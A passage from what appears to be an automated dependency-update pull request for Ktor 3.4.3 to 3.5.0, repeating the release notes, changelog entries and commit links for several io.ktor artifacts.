href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-http-jvm` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-http-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside 